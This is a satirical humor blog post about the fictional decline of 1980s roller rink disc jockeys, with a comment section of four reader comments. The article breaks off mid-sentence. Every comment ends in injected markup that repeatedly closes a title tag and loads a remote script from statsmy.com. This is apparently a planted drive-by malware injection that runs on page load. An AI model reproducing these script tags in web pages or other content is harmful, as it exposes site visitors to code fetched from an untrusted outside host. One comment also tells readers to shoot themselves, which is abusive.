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The Tragic Lives of Roller Rink Disk Jockeys
by Kris on 2/19/2006 (4)

Back in the day, when it was all fun and games...
It was the height of the 1980's and roller rinks were all the rage. For those of us who grew up during this time, maybe you had a party at the roller rink. Maybe you had a friend that invited you to a party at the roller rink. Maybe you wished you had a friend so you could be invited to a party at the roller rink. Whatever the case may have been, the roller rink was the happening place to be.

And the undisputed King of the Roller Rink was the Roller Rink Disc Jockey. He sat silently at his post, hair slicked back, wearing a bright red "Members Only" jacket that was the envy of the rink. The only time he ever broke his silence was to announce a "backward skate" or to run down the specials at the concession stand. He didn't need to speak, the music he played did that for him as the rink stereo system belted out the greatest hits of the B52s, Poison, and a dozen other hair bands. Women and children loved him, old people feared him. He controlled the rink like it was his own private third world dictatorship. He picked the songs, he choose the direction to skate, and he told you went it was time to "limbo" or "wipeout".

Life was good for the Roller Rink Disc Jockey. After the rink closed, there was never a shortage of women, parties, and fine cocaine. He worked hard during the day and he played hard at night before crashing in his $1,000 a month studio apartment or in his private beach house on a offshore island he had just purchased.

And then the unthinkable happened. Like Black Tuesday years ago, the bottom fell out of the roller rink industry. Attendance dropped, concession stand sales plummeted, and soon rinks all across America were closing their doors. Some attribute this to the sudden rise of grunge music, others claim it was a product of the end of the Cold War. Whatever the reason, the public quickly forgot about the roller rink and cast aside those who they had once worshipped.

Even OJ Simpson was a fan of roller rinks... and he's famous! Wow!
"I really took for granted how good I had things," said former rink jockey James Walsh. "I loved my job, I had all the money and women a man could ever need, and for once my parents weren't horribly disappointed that I dropped out of high school to pursue my dream of getting drunk on weekdays. But then my figurative house of cards collapsed."

Citing a huge decline in attendance that year, the Happy Duck Skateporium closed its doors for good and it's employees were left jobless and ill qualified for other work. Most had never worked anywhere else and few had skills beyond skating, serving drinks, or spinning records.

"What other job is there where you can sit down in front of a large collection of records and play requested songs all day long," rhetorically questioned Walsh. "None that I've ever heard of."

Walsh tried to perform at birthday parties, bar mitzvah, and the occasional Cinco de Mayo but it wasn't enough. Soon bills pilled up, bills that Walsh could not pay.

"I had immense gambling debts, a huge electricity bill because of all the fluorescent bulbs I used to keep my marijuana plants alive, a giant car payment for my matching set of Ferraris, and three<


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Comments

1. by Searcher on 3/1/2007 4:52:29 PM
Not to give away my age or anything in that order or to say this article gave away it's writers generation, BUT their are those of us who would say Walsh is less than a original [Roller Rink Disc Jockey], as even though the number lessens daily. Many of us still remember the 40's & 50's when what the article speaks of was far wider spread, I speak of rollerskating, though perhaps without the same culture that is brought forth in this writing. Whatever, none of this makes the price of gas or a Martini any cheaper, I was just bored & figured I get my 2 bits worth in. P.S. Another clue in the previous sentance for those payiny attention. Don't lose your key. . . S.h="0" h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by B on 3/1/2007 4:52:29 PM
Damn, that article sure brought back all the good times I never had at the local roller rink. All i remember from this great period in our culture was that these idiots even made drugs and music uncool. Thank god it has become fashionable to be in rehab these days, maybe there is hope for the roller rink DJ after all. Peace, out.isplay: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by DJ mikey on 3/1/2007 4:52:29 PM
great article!i was a roller rink dj in 1981 at THE RINK in imperial beach,california.i spun records there for 3 of the best years of my life. the girls,partys and drugs were almost more than i could handle!its was a wonderfull ride.i have had lifelong friends from those days and lost touch with girls i got with and thats the worst part.i had alot of fun now who knows where they are today.the music of the 80s were the best.the bands and the people rocked.i miss those days.?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by BOred on 3/1/2007 4:52:29 PM
Give me a fucking break .. and shoot yourselves please .. I don't know what's worse, the fact that we took the time to comment, or that we read the article to begin with ..............ui </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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